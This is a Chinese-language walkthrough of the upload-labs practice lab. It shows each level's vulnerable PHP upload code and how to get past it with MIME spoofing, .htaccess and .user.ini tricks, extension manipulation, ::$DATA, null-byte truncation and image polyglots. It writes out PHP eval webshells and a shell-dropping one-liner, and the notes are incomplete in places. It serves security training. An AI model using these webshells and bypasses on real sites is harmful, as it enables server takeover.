pass-02(考点:MIME类型绕过)
代码:
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '文件类型不正确，请重新上传！';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
}}
后缀名只能是image/jpeg,image/png,image/gif
没有对上传内容或者什么设置安全防御，可以用Burp Sutie把上传的的图片改成.php文件
php上传木马:
<?php @eval($_REQUEST['cmd']);?>
pass-03
黑名单:asp|.aspx|.php|jsp文件
$file_ext = strtolower($file_ext); //转换为小写
大小混洗无法绕过
可以利用php4,php5绕过。
如果在 apache 可以开启 application/x-httpd-php
在 AddType application/x-httpd-php .php .phtml .php3
后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本
pass-04（黑名单.htaccess绕过）
黑名单包括了很多，但是可以使用.htaccess
AddType application/x-httpd-php .jpg .txt 意思是把.jpg 和.txt里面的内容当成php文件运行
然后提交.htaccess 然后在使用后缀名为.jpg
<?php @eval($_POST['a']);?>
然后再使用蚁剑连接。
pass-05
".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"
这些都拉入黑名单，同时大小写混写也不能用
这时候我们可以用.user.ini
原理当php.ini执行时会查看根目录或者子目录里面的.user.ini，然后查看里面的内容,并且覆盖该文件
所有我们先上传.user.ini
auto_prepend_file=111.png
然后创建111.png内容为
<?php
@eval($_POST['a']);
echo"包含成功<br/>"
?>
然后查看
http://upload-labs-master/upload/readme.php（readme.php必须存在）
进行用连接
pass-06
可以发现黑名单很多，并且包括了
.htaccess,.ini
但是这个可以使用后缀名大小写绕过
1.Php
<?php @eval($_POST['a']);?>
然后使用蚁剑。
pass-07(空格绕过)
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}}
有黑名单比较前面，然后又防止了大小混写
默认点，但是少了末尾空格，可以利用空格进行绕过
1.php 进行绕过
<?php @eval($_POST['a']);?>
然后进行蚁剑连接
pass-08(后缀名.绕过)
Pass-08
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}}
没有对后缀名。绕过
利用Burp Suite
上传.php.，进行绕过，使用蚁剑进行绕过
pass-09(::$DATA绕过)
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}}
利用Burp Suite
上传.php::$DATA
，进行绕过，使用蚁剑进行绕过
pass-10(. . 绕过点空格点绕过)
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}}
. . 绕过点空格点绕过
利用Burp Suite
上传.php
. .
，进行绕过，使用蚁剑进行绕过
pass-11（双写绕过）
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}}
str_ireplace(),把黑名单里面的后缀替换成空格,那么我们就可以使用双写来绕过
利用Burp Suite
利用Burp Suite
上传.pphphp
，进行绕过，使用蚁剑进行连接
pass-12(白名单-%00绕过)
$is_upload = false;$msg = null;if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
}}
白名单:只能上传jpg，png,gif
使用
POST /Pass-12/index.php?save_path=../upload/111.php HTTP/1.1
前提条件是使用
php版本< 5.3
php.ini这个配置文件中 magic_quotes_gpc必须为 off
进行绕过，使用蚁剑进行绕过
pass-13(白名单-%00绕过)
然后把；改成空格，然后在hex里面改成00
但是不知道为什么是变成这样
pass-14（标识绕过）
前置知识
utf-8中,一个英文字符占一个字节,中文（含繁体字）占三个字节
(后续。。。。。)
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;}
$is_upload = false;$msg = null;if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知，上传失败！";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错！";
}
}}检测:前面文件头俩个字符
方法:文件头添加89，50
然后使用文件包含漏洞?file=./upload/6620240327232726.png
然后使用蚁剑连接
pass-15(图片木马绕过)
对标识进行检测
使用一张图片，把脚本写进图片里面去
例如:准备a.png文件+111.php
然后在cmd里面进行连接
copy a.png/b+111.php 文件名.png
脚本加入成功
然后上传,使用包含漏洞进行访问文件名.png的内容
然后使用蚁剑进行连接
pass-16（图片绕过）
和pass15一样
pass-17(图片渲染)
图片渲染:
会把里面的脚本清除掉,但是不会影响图片打开。
$is_upload = false;$msg = null;if (isset($_POST['submit'])){
// 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型，合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
}}对png,jpg,git进行图片渲染
把脚本放在图片内容里面去
最好是.git
插入<?php @eval($_POST['a']);?>
然后上传，使用包含漏洞解析里面的内容？file=./upload/45324353.git
然后使用蚁剑连接
pass18(条件竞争)
生成小马:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['a'])?>');?>
这个需要一定的运气，然后使用Burop 爆破，但是没有成功,下次加上去！！！
pass19(apache解析漏洞+条件竞争)
和pass18差不多,pass我没有成功过啊啊啊啊
pass20(漏洞后缀绕过)
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错！';
}
}else{
$msg = '禁止保存为该类型文件！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}}没有过滤,然后直接先判断是否在黑名单中，然后服务器直接调用.
可以使用黑名单绕过，很多都没有限制，可以用.，. . ,user.ini等
这里我们使用.
然后上传成功直接使用蚁剑进行连接
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